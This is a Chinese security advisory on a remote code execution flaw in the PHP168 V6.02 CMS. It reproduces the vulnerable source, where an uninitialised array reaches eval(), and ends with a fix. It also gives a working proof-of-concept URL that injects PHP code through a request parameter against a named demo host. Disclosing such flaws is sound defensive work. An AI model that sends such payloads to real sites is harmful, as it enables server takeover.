PHP168 V6.02整站存在系统远程执行任意代码漏洞


添加时间:
2010-10-05

系统编号:
WAVDB-01705

影响版本:
PHP168 V6.02

程序介绍:

PHP168整站是PHP领域当前功能最强大的建站系统,代码全部开源,可极其方便的进行二次开发,所有功能模块可以自由安装与删除,个人用户完全免费使用。

漏洞分析:

PHP168在某些函数里运用了eval函数,但是某数组没有初试化,导致可以提交任意代码执行.
漏洞出在inc/function.inc.php里面.get_html_url()这个函数. 
 
  1. function get_html_url(){  
  2.   
  3.  global $rsdb,$aid,$fidDB,$webdb,$fid,$page,$showHtml_Type,$Html_Type;  
  4.   
  5.  $id=$aid;  
  6.   
  7.  if($page<1){  
  8.   
  9.   $page=1;  
  10.   
  11.  }  
  12.   
  13.  $postdb[posttime]=$rsdb[posttime];  
  14.   
  15.    
  16.   
  17.  if($showHtml_Type[bencandy][$id]){  
  18.   
  19.   $filename_b=$showHtml_Type[bencandy][$id];  
  20.   
  21.  }elseif($fidDB[bencandy_html]){  
  22.   
  23.   $filename_b=$fidDB[bencandy_html];  
  24.   
  25.  }else{  
  26.   
  27.   $filename_b=$webdb[bencandy_filename];  
  28.   
  29.  }  
  30.   
  31.  //对于内容页的首页把$page去除  
  32.   
  33.  if($page==1){  
  34.   
  35.   $filename_b=preg_replace("/(.*)(-{\\\$page}|_{\\\$page})(.*)/is","\\1\\3",$filename_b);  
  36.   
  37.  }  
  38.   
  39.  $dirid=floor($aid/1000);  
  40.   
  41.  //对于内容页的栏目小于1000篇文章时,把DIR分目录去除  
  42.   
  43.  if($dirid==0){  
  44.   
  45.   $filename_b=preg_replace("/(.*)(-{\\\$dirid}|_{\\\$dirid})(.*)/is","\\1\\3",$filename_b);  
  46.   
  47.  }  
  48.   
  49.  if(strstr($filename_b,'$time_')){  
  50.   
  51.   $time_Y=date("Y",$postdb[posttime]);  
  52.   
  53.   $time_y=date("y",$postdb[posttime]);  
  54.   
  55.   $time_m=date("m",$postdb[posttime]);  
  56.   
  57.   $time_d=date("d",$postdb[posttime]);  
  58.   
  59.   $time_W=date("W",$postdb[posttime]);  
  60.   
  61.   $time_H=date("H",$postdb[posttime]);  
  62.   
  63.   $time_i=date("i",$postdb[posttime]);  
  64.   
  65.   $time_s=date("s",$postdb[posttime]);  
  66.   
  67.  }  
  68.   
  69.  if($fidDB[list_html]){  
  70.   
  71.   $filename_l=$fidDB[list_html];  
  72.   
  73.  }else{  
  74.   
  75.   $filename_l=$webdb[list_filename];  
  76.   
  77.  }   
  78.   
  79.  if($page==1){  
  80.   
  81.   if($webdb[DefaultIndexHtml]==1){  
  82.   
  83.    $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.html",$filename_l);  
  84.   
  85.   }else{  
  86.   
  87.    $filename_l=preg_replace("/(.*)\/([^\/]+)/is","\\1/index.htm",$filename_l);  
  88.   
  89.   }  
  90.   
  91.  }  
  92.   
  93.  eval("\$array[_showurl]=\"$filename_b\";");  
  94.   
  95.  eval("\$array[_listurl]=\"$filename_l\";");  
  96.   
  97.  //自定义了栏目域名  
  98.   
  99.  if($Html_Type[domain][$fid]&$Html_Type[domain_dir][$fid]){  
  100.   
  101.   $rule=str_replace("/","\/",$Html_Type[domain_dir][$fid]);  
  102.   
  103.   $filename_b=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_b);  
  104.   
  105.   $filename_l=preg_replace("/^$rule/is","{$Html_Type[domain][$fid]}/",$filename_l);  
  106.   
  107.   //特别处理一下些自定义内容页文件名的情况.  
  108.   
  109.   if(!eregi("^http:\/\/",$filename_b)){  
  110.   
  111.    $filename_b="$webdb[www_url]/$filename_b";  
  112.   
  113.   }  
  114.   
  115.  }else{  
  116.   
  117.   $filename_b="$webdb[www_url]/$filename_b";  
  118.   
  119.   $filename_l="$webdb[www_url]/$filename_l";  
  120.   
  121.  }  
  122.   
  123.  eval("\$array[showurl]=\"$filename_b\";");  
  124.   
  125.  eval("\$array[listurl]=\"$filename_l\";");  
  126.   
  127.  return $array;  
  128.   
  129. }  
  130.   
  131.   
  132.   
  133.   
  134. $showHtml_Type这个数组存在时,赋值$filename_b$showHtml_Type[bencandy][$id].跟一下这个get_html_url()函数.  
  135.   
  136. 在member/post.php中:  
  137.   
  138. if(!$aid&&!$rid){  
  139.   
  140.  $aid=$id;  
  141.   
  142. }  
  143.   
  144. if($rid)  
  145.   
  146. {  
  147.   
  148.  if(!$aid){  
  149.   
  150.   showerr("aid不存在!");  
  151.   
  152.  }  
  153.   
  154.  $erp=get_id_table($aid);  
  155.   
  156.  //修改主题或修改多页都可  
  157.   
  158.  $rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE R.rid='$rid'");  
  159.   
  160.  $aid=$rsdb[aid];  
  161.   
  162.  $fid=$rsdb[fid];  
  163.   
  164.  $mid=$rsdb[mid];  
  165.   
  166. }  
  167.   
  168. elseif($aid)  
  169.   
  170. {  
  171.   
  172.  $erp=get_id_table($aid);  
  173.   
  174.  //只能是修改主题/续发文章  
  175.   
  176.  $rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid='$aid' ORDER BY R.rid ASC LIMIT 1");  
  177.   
  178.  isset($fid) || $fid=$rsdb[fid];  
  179.   
  180.  $mid=$rsdb[mid];  
  181.   
  182. }  
  183.   
  184. //让用户选择栏目  
  185.   
  186. if((!$fid&&!$only)||$jobs=="choose")  
  187.   
  188. {  
  189.   
  190.  $sortdb=array();  
  191.   
  192.  if$webdb[sortNUM]>500||$fid ){  
  193.   
  194.   $rows=100;  
  195.   
  196.   $page<1 && $page=1;  
  197.   
  198.   $min=($page-1)*$rows;  
  199.   
  200.   $showpage=getpage("{$pre}sort","WHERE fup='$fid'","?lfj=$lfj&job=$job&jobs=$jobs&only=$only&mid=$mid&fid=$fid",$rows);  
  201.   
  202.   $query = $db->query("SELECT * FROM {$pre}sort WHERE fup='$fid' ORDER BY list DESC,fid ASC LIMIT $min,$rows");  
  203.   
  204.   while($rs = $db->fetch_array($query)){  
  205.   
  206.    $rs[post]=$rs[NUM]=$rs[do_art]='';  
  207.   
  208.    $detail_admin=@explode(",",$rs[admin]);  
  209.   
  210.    $detail_allowpost=@explode(",",$rs[allowpost]);  
  211.   
  212.    if(!$rs[type]&&( $web_admin||($lfjid&&@in_array($lfjid,$detail_admin))||@in_array($groupdb['gid'],$detail_allowpost) ))  
  213.   
  214.    {   
  215.   
  216.     $erp=$Fid_db[iftable][$rs[fid]];  
  217.   
  218.     $_rs=$db->get_one("SELECT COUNT(*) AS NUM FROM {$pre}article$erp WHERE fid='$rs[fid]' AND uid='$lfjuid'");  
  219.   
  220.     if($_rs[NUM]&$lfjid){  
  221.   
  222.      $rs[NUM]="( <b>{$_rs[NUM]}</b> )";  
  223.   
  224.      $rs[do_art]="<A HREF='myarticle.php?job=myarticle&fid=$rs[fid]' class='manage_article'>管理</A>";  
  225.   
  226.     }  
  227.   
  228.     $rs[post]="<A HREF='?job=postnew&fid=$rs[fid]' class='post_article'>发表</A>";  
  229.   
  230.     $allowpost++;  
  231.   
  232.    }  
  233.   
  234.    $sortdb[]=$rs;  
  235.   
  236.   }  
  237.   
  238.   if($fid){  
  239.   
  240.    $show_guide="<A HREF='?lfj=$lfj&jobs=$jobs&job=$job&only=$only&mid=$mid'>返回顶级目录</A> ".list_sort_guide($fid);  
  241.   
  242.   }  
  243.   
  244.  }else{    
  245.   
  246.   list_post_allsort();  
  247.   
  248.   if(!$allowpost){  
  249.   
  250.    showerr("你所在用户组无权发表文章",1);  
  251.   
  252.   }  
  253.   
  254.  }  
  255.   
  256.  $MSG="请选择一个栏目投稿";  
  257.   
  258.  require(dirname(__FILE__)."/"."head.php");  
  259.   
  260.  require(dirname(__FILE__)."/"."template/post_set.htm");  
  261.   
  262.  require(dirname(__FILE__)."/"."foot.php");  
  263.   
  264.  exit;  
  265.   
  266. }  
  267.   
  268. if($fid||$step){  
  269.   
  270.  $fidDB=$db->get_one("SELECT * FROM {$pre}sort WHERE fid='$fid'");  
  271.   
  272.  !$fidDB && showerr("栏目有误");  
  273.   
  274.  $fidDB[type]!=0 && showerr("你只能选择子栏目发表内容!");  
  275.   
  276. }  
  277.   
  278. $job=='postnew' && !$mid && $mid=$fidDB[fmid];  
  279.   
  280. if($lfjid&&@in_array($lfjid,explode(',',$fidDB[admin])))  
  281.   
  282. {  
  283.   
  284.  $web_admin=1;  
  285.   
  286. }  
  287.   
  288. if($fidDB&&!$web_admin&&!in_array($groupdb[gid],explode(',',$fidDB[allowpost])))  
  289.   
  290. {  
  291.   
  292.  showerr("你所在用户组无权在本栏目“{$fidDB[name]}”有任何操作");  
  293.   
  294. }  
  295.   
  296. if(!$lfjid&$job!='postnew')  
  297.   
  298. {  
  299.   
  300.  showerr("游客无权操作");  
  301.   
  302. }  
  303.   
  304. $atc_power=0;  
  305.   
  306. if($lfjid)  
  307.   
  308. {  
  309.   
  310.  if($web_admin||$lfjuid==$rsdb[uid]){  
  311.   
  312.   $atc_power=1;  
  313.   
  314.  }  
  315.   
  316. }  
  317.   
  318. $uid=isset($rsdb[uid])?$rsdb[uid]:$lfjuid;  
  319.   
  320. if($job=='endHTML')  
  321.   
  322. {  
  323.   
  324.  $htmlurldb=get_html_url();  
  325.   
  326.  //首页生成静态  
  327.   
  328.  @unlink(PHP168_PATH."index.htm.bak");  
  329.   
  330.  rename(PHP168_PATH."index.htm",PHP168_PATH."index.htm.bak");  
  331.   
  332.  refreshto("myarticle.php?job=myarticle&mid=$mid&only=$only","<CENTER>[<A HREF='?job=postnew&fid=$fid&mid=$mid&only=$only'>发表新主题</A>] [<A HREF='?job=post_more&aid=$aid&mid=$mid&only=$only'>续发本主题</A>] [<A HREF='myarticle.php?job=myarticle&fid=$fid&mid=$mid&only=$only'>返回文章列表</A>] [<A HREF='{$htmlurldb[showurl]}' target=_blank>查看文章</A>] [<A HREF='?job=manage&aid=$aid&mid=$mid&only=$only'>修改文章</A>]</CENTER>",60);  
  333.   
  334. }  
当only或者fid不等于0时,且job等于"endHTML"时,执行函数.由于$showHtml_Type数组和$aid是可以由我们赋值的,所以漏洞产生.
 


漏洞利用:

先注册一个会员,登陆后在地址栏提交:
 
http://v6.php168.com/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML
 
可以看到执行了phpinfo().
SEBUG安全建议:
SEBUG临时解决办法:
 
初始化$showHtml_Type数组.


解决方案:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.php168.net/

信息来源:
http://www.wooyun.org/bug.php?action=view&id=528